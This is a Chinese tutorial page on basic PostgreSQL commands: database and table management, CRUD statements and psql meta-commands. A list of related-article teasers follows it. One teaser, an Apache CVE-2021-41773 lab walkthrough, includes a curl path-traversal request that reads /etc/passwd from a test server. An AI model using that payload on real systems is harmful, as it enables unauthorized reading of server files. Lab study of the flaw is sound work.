PostgreSQL 基础操作

ops/2024/11/15 8:41:20/

PostgreSQL(简称pgsql)的基础命令行操作涉及多个方面,包括数据库和表的管理、数据操作以及系统信息的查询等。以下是一些常用的PostgreSQL基础命令行操作:

1. 数据库管理

CREATE DATABASE 数据库;

例如,创建一个名为mydatabase的数据库

CREATE DATABASE mydatabase;
DROP DATABASE 数据库;

例如,删除名为mydatabase的数据库

DROP DATABASE mydatabase;
  • 列出所有数据库
    在psql命令行中,可以使用\l命令列出所有数据库
  • 切换数据库
    在psql命令行中,可以使用\c命令或\connect命令来切换数据库
\c 数据库

例如,切换到mydatabase数据库

\c mydatabase

2. 表管理

  • 创建表:
    使用CREATE TABLE语句来创建表,并定义其字段和约束。
CREATE TABLE 表名 (  字段名1 数据类型 约束,  字段名2 数据类型 约束,  ...  
);

例如,创建一个名为users的表:

CREATE TABLE users (  id SERIAL PRIMARY KEY,  username VARCHAR(50) NOT NULL,  email VARCHAR(100) UNIQUE  
);
  • 删除表:
DROP TABLE 表名;

例如,删除名为users的表:

DROP TABLE users;
  • 修改表结构:
    • 添加字段:ALTER TABLE 表名 ADD COLUMN 字段名 数据类型 约束;
    • 删除字段:ALTER TABLE 表名 DROP COLUMN 字段名;
    • 修改字段类型:ALTER TABLE 表名 ALTER COLUMN 字段名 TYPE 新数据类型;
    • 重命名表:ALTER TABLE 旧表名 RENAME TO 新表名;
    • 重命名字段:ALTER TABLE 表名 RENAME COLUMN 旧字段名 TO 新字段名;
  • 查看表结构:
    在psql命令行中,可以使用\d 表名来查看表的详细结构。

3. 数据操作

  • 插入数据:
INSERT INTO 表名 (字段名1, 字段名2, ...) VALUES (1,2, ...);

例如,向users表中插入一条数据:

INSERT INTO users (username, email) VALUES ('example', 'example@example.com');
  • 查询数据:
    使用SELECT语句来查询数据。
SELECT 字段名 FROM 表名 WHERE 条件;

例如,查询users表中所有用户的用户名和邮箱:

SELECT username, email FROM users;
  • 更新数据:
UPDATE 表名 SET 字段名1 =1, 字段名2 =2, ... WHERE 条件;

例如,更新users表中用户名为example的用户的邮箱:

UPDATE users SET email = 'newemail@example.com' WHERE username = 'example';
  • 删除数据:
DELETE FROM 表名 WHERE 条件;

例如,删除users表中用户名为example的用户:

DELETE FROM users WHERE username = 'example';

4. 系统信息查询

  • 查看所有用户:
    在psql命令行中,可以使用\du命令列出所有用户。
  • 查看当前数据库信息:
    在psql命令行中,可以通过\l+命令查看当前数据库的详细信息。
  • 退出psql:
    在psql命令行中,可以使用\q命令退出psql环境。

http://www.ppmy.cn/ops/114847.html

相关文章

Elastic 的 OpenTelemetry PHP 发行版简介

作者:Pawel Filipczak 宣布 OpenTelemetry PHP 的 Elastic 发行版的第一个 alpha 版本。在本篇博文中了解使用 OpenTelemetry 来检测 PHP 应用程序是多么简单。 我们很高兴推出 OpenTelemetry PHP 的 Elastic Distribution 的第一个 alpha 版本。在这篇文章中&…

什么是CPQ?一文讲解什么是CPQ选型配置报价系统

什么是CPQ选型配置报价? CPQ,是英文名 Configure Price Quote的缩写,中文称为配置报价软件。该软件经常出现在销售行业。它是一种可以快速为企业报价的销售工具。企业在报价时,会综合考虑数量、折扣、产品可选功能等。CPQ软件能够整合企业的…

CSS 布局三大样式简单学习

目录 1. css 浮动 1.1 效果1 1.2 效果2 1.3 效果3 1.4 效果4 2. css 定位 2.1 absolute 2.2 relative 2.3 fixed 3. css 盒子模型 3.1 效果1 3.2 效果2 3.3 效果3 3.4 效果4 1. css 浮动 1.1 效果1 1.2 效果2 1.3 效果3 1.4 效果4 2. css 定位 2.1 absolute 2.2 …

Stable Diffusion 使用详解(12)--- 设计师风格变换

目录 背景 seg模型(语义分割) 描述 原理 实战-装修风格变换 现代风格 欧式风格转换 提示词及相关参数设置 模型选择 seg cn 加持 效果 还能做点啥 问题 解决方法 出图效果 二次优化调整 二次出图效果 地中海风格转换 参数修改 效果 …

Apache CVE-2021-41773 漏洞攻略

1.环境搭建 docker pull blueteamsteve/cve-2021-41773:no-cgid docker run -d -p 8080:80 97308de4753d 2.使用poc curl http://192.16.10.190:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd 3.工具验证

大厂面试真题:简单说下Redis的bigkey

什么是bigkey bigkey是指key对应的value所占的内存空间比较大,例如一个字符串类型的value可以最大存到512MB,一个列表类型的value最多可以存储23-1个元素。 如果按照数据结构来细分的话,一般分为字符串类型bigkey和非字符串类型bigkey。 字…

【设计模式】万字详解:深入掌握五大基础行为模式

作者:后端小肥肠 🍇 我写过的文章中的相关代码放到了gitee,地址:xfc-fdw-cloud: 公共解决方案 🍊 有疑问可私信或评论区联系我。 🥑 创作不易未经允许严禁转载。 姊妹篇: 【设计模式】&#xf…

TinkerTool System for Mac实用软件系统维护工具

TinkerTool System 是一款功能全面且强大的 Mac 实用软件,具有以下特点和功能: 软件下载地址 维护功能: 磁盘清理:能够快速扫描并清理系统中的垃圾文件、临时文件以及其他无用文件,释放宝贵的磁盘空间,保…